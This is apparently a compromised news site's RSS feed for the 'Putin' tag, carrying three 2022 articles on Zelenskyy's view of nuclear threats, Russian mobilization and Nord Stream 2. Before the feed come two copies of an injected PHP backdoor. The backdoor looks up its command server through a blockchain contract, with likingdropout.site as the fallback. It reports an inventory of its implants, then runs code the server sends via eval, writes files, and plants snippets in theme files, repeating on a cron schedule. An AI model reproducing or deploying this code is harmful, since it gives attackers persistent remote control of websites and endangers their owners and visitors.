// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Putin – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 26 Sep 2022 14:33:32 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Putin – Brief News https://briefnews.eu 32 32 Zelenskyy says he doesn’t think Putin is ‘bluffing’ over nuclear threats https://briefnews.eu/zelenskyy-says-he-doesnt-think-putin-is-bluffing-over-nuclear-threats/ https://briefnews.eu/zelenskyy-says-he-doesnt-think-putin-is-bluffing-over-nuclear-threats/#respond Mon, 26 Sep 2022 14:33:32 +0000 https://briefnews.eu/zelenskyy-says-he-doesnt-think-putin-is-bluffing-over-nuclear-threats/ Ukrainian President Volodymyr Zelenskyy; Russian President Vladimir Putin
Ukrainian President Volodymyr Zelenskyy; Russian President Vladimir Putin.

BERTRAND GUAY/AFP via Getty Images; Contributor/Getty Images

  • Zelenskyy says that he does not think Vladimir Putin is "bluffing" about his nuclear threats.
  • "Maybe yesterday it was bluff. Now, it could be a reality," Zelenskyy told CBS's "Face The Nation."
  • Last week, Putin threatened the use of nuclear weapons as he announced plans to beef up Moscow's forces in his fight with Ukraine.

Ukrainian President Volodymyr Zelenskyy says that he does not think Russian leader Vladimir Putin is "bluffing" when it comes to his threats of turning to nuclear weapons amid the Kremlin's war with Ukraine. 

"Maybe yesterday it was bluff. Now, it could be a reality," Zelenskyy told CBS's "Face The Nation" in an interview that aired on Sunday. "I don't think he's bluffing."

Last week, Putin announced plans to partially mobilize hundreds of thousands of reservists to beef up Moscow's forces in the Russian president's fight with Ukraine.

He threatened the use of nuclear weapons as he said in a televised address to the nation that mobilization would begin immediately. 

Putin accused the West of "nuclear blackmail," saying Western nations had encouraged Ukraine to shell the Russian-controlled Zaporizhzhia nuclear power plant in Ukraine.

He also falsely said that officials in NATO countries had spoken "about the possibility and admissibility of using weapons of mass destruction against Russia — nuclear weapons."

"To those who allow themselves to make such statements about Russia, I would like to remind you that our country also has various means of destruction, and for some components more modern than those of the NATO countries," said Putin.

"And if the territorial integrity of our country is threatened, we will certainly use all the means at our disposal to protect Russia and our people," Putin said. "This is not a bluff."

During his interview on CBS, Zelenskyy contended that Putin "wants to scare the whole world."

"These are the first steps of his nuclear blackmail," said Zelenskyy. "I think the world is deterring it and containing this threat. We need to keep putting pressure on him and not allow him to continue."

Putin's announcement of a partial mobilization of troops comes as Russia suffers disastrous defeats on the battlefield amid the Kremlin's more than seven-month-long war with Ukraine.

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]]> https://briefnews.eu/zelenskyy-says-he-doesnt-think-putin-is-bluffing-over-nuclear-threats/feed/ 0 Putin has been called a ‘master procrastinator’ but experts say he wanted to avoid mobilizing troops ‘at all costs’ due to how unpopular it would be in Russia https://briefnews.eu/putin-has-been-called-a-master-procrastinator-but-experts-say-he-wanted-to-avoid-mobilizing-troops-at-all-costs-due-to-how-unpopular-it-would-be-in-russia/ https://briefnews.eu/putin-has-been-called-a-master-procrastinator-but-experts-say-he-wanted-to-avoid-mobilizing-troops-at-all-costs-due-to-how-unpopular-it-would-be-in-russia/#respond Thu, 22 Sep 2022 04:45:32 +0000 https://briefnews.eu/putin-has-been-called-a-master-procrastinator-but-experts-say-he-wanted-to-avoid-mobilizing-troops-at-all-costs-due-to-how-unpopular-it-would-be-in-russia/ Russian President Vladimir Putin meets with Novgorod Region Governor Andrei Nikitin during his vitit to celebrate the 1160th anniversary of Russian statehood in Veliky Novgorod, Russia, Wednesday, Sept. 21, 2022. Veliky Novgorod is one of the oldest cities in Russia, being first mentioned in the 9th century.
Russian President Vladimir Putin meets with Novgorod Region Governor Andrei Nikitin during his visit to celebrate the 1160th anniversary of Russian statehood in Veliky Novgorod, Russia, Wednesday, Sept. 21, 2022.

Gavriil Grigorov, Sputnik, Kremlin Pool Photo/Associated Press

  • Putin announced Wednesday he was calling in reserves, prompting protests in Russia.
  • Experts said Putin wanted to avoid the move, but also wanted to bolster his military.
  • The move could weaken support for Putin's regime as Russians are exposed to the reality of the war.

Russian President Vladimir Putin's announcement of a partial military mobilization was decried by some as too little too late, but that may be because he had desperately tried to avoid this outcome and thought he could succeed in Ukraine without it, experts said.

Putin said Wednesday he was calling up 300,000 reservists and threatened nuclear options after the Ukrainian military made major gains in recent weeks. The Russian president has found his forces short on manpower while Ukraine, on the other hand, ordered a full military mobilization within days of the invasion in February.

"He's a master procrastinator," Michael Kofman, a military analyst of Russia studies at the Center for Naval Analyses told Puck's Julie Ioffe this week. "He procrastinates and procrastinates till the options go from bad to worse."

Experts told Insider it could take weeks or months for Russia's partial mobilization to bear fruit, as the reservists need to be trained, equipped, and deployed. They also said taking such action at this stage in the war shows things are going so poorly for Russia that Putin is anxious for something that could turn the tide.

"In hindsight, he should have done it sooner. Absolutely," Robert English, a professor at the University of Southern California who studies Russia, the Soviet Union, and Eastern Europe, told Insider, adding that an earlier mobilization of troops wouldn't have looked so desperate.

But, he said, Putin had thought he could succeed in Ukraine without taking this step, which comes with the risk of inspiring backlash among the Russian people.

"This is something he wanted to avoid at almost any cost. Because up until now, the war has been kind of a television war for Russians," English said, adding that most well-off people in cities like Moscow and St. Petersburg have largely been able to tune out the war and go about normal life.

"But when you mobilize reservists — even if you target the poor, the rural, the provincial, the minorities, and still avoid the upper middle classes in the big cities — it still will touch them more directly," he continued. "The fact that he's resorted to that shows a certain desperation, that they're afraid of another big Ukrainian breakthrough that could be coming in a week or two."

If Putin was afraid of the fallout from calling up reservists, it appears to have been warranted. Since the announcement, Russians have flooded the streets in protest with chants of "no to war," an unusual sight in the country. Around 500 people had been arrested as of Wednesday evening, according to OVD-Info, an independent monitoring group.

Mobilizing troops could threaten support for Putin's regime

The outcry could ultimately threaten Putin's place as Russia's longtime leader, according to Simon Miles, an assistant professor at Duke University's Sanford School of Public Policy and a historian of the Soviet Union and US-Soviet relations.

"The one kind of thing he had going for him, so to speak, was that the war was not really being visited on most Russians," Miles told Insider, adding that Putin and his "massive state media apparatus were able to present an extremely sanitized, different version" of the war.

For one thing, Putin and Russian media had avoided even calling it a war, instead using the president's description as a "special military operation."

But even before the mobilization — and after Ukraine's successful advances — Russian media recently started to veer from the consistently positive coverage of the war, and published criticism of the military fumbles and failures of leadership, Miles said.

Now, calling up people to fight who may not want to risks further weakening support for Putin's regime.

Daniel Treisman, a professor at the University of California, Los Angeles, whose work focuses on Russian politics and economics, agreed Putin has sought to avoid mobilizing troops due to how unpopular it would be, noting the protests show it's clear that Russians hate this development.

"That Putin would do this shows how badly he feels the need right now to change the momentum, which has been all in Ukraine's favor," Treisman told Insider in an email, noting it will take weeks to deploy the new units.

Treisman also noted that in addition to announcing that draft Putin introduced tougher penalties for draft dodging, suggesting he was prepared for the people to resist.

"There's a danger that the draft will be seen to fail and undermine still further the sense that Putin is in control at home," he said.

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]]> https://briefnews.eu/putin-has-been-called-a-master-procrastinator-but-experts-say-he-wanted-to-avoid-mobilizing-troops-at-all-costs-due-to-how-unpopular-it-would-be-in-russia/feed/ 0 Putin says Russia’s not responsible for the EU’s energy crisis — it just needs to ‘push the button’ on the Nord Stream 2 pipeline to get more natural gas https://briefnews.eu/putin-says-russias-not-responsible-for-the-eus-energy-crisis-it-just-needs-to-push-the-button-on-the-nord-stream-2-pipeline-to-get-more-natural-gas/ https://briefnews.eu/putin-says-russias-not-responsible-for-the-eus-energy-crisis-it-just-needs-to-push-the-button-on-the-nord-stream-2-pipeline-to-get-more-natural-gas/#respond Mon, 19 Sep 2022 05:11:35 +0000 https://briefnews.eu/putin-says-russias-not-responsible-for-the-eus-energy-crisis-it-just-needs-to-push-the-button-on-the-nord-stream-2-pipeline-to-get-more-natural-gas/ Russian President Vladimir Putin
Russian President Vladimir Putin said Europe's "green agenda" started the bloc's energy crisis.

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  • Europe is dependent on Russia for natural gas, but Gazprom has turned off the Nord Stream 1 pipeline.
  • Russian President Putin said the EU just has to turn on Nord Stream 2 for more natural gas.
  • The Nord Stream 2 runs parallel to Nord Stream 1, a key gas pipeline linking Russia and Europe.

Russian President Vladimir Putin denied Russian responsibility for Europe's energy crisis and said the EU can simply turn on the new Nord Stream 2 pipeline if it wants more natural gas from his country.

"The bottom line is, if you have an urge, if it's so hard for you, just lift the sanctions on Nord Stream 2, which is 55 billion cubic metres of gas per year, just push the button and everything will get going," said Putin after the Shanghai Cooperation Organisation summit in Uzbekistan on Friday, per Reuters.

He also criticized the "green agenda" — the EU's renewable energy push — which he said started the energy crisis even before the war in Ukraine.

The Nord Stream 2 natural-gas pipeline runs in parallel to Nord Stream 1, a key pipeline that delivers fuel from Russia to Europe. The $ 11 billion Nord Stream 2 pipeline was completed in September, and stands to double Russia's gas flows to Europe. However, Nord Stream 2 has never been operational because Germany shelved the project in February, days before Russia invaded Ukraine. 

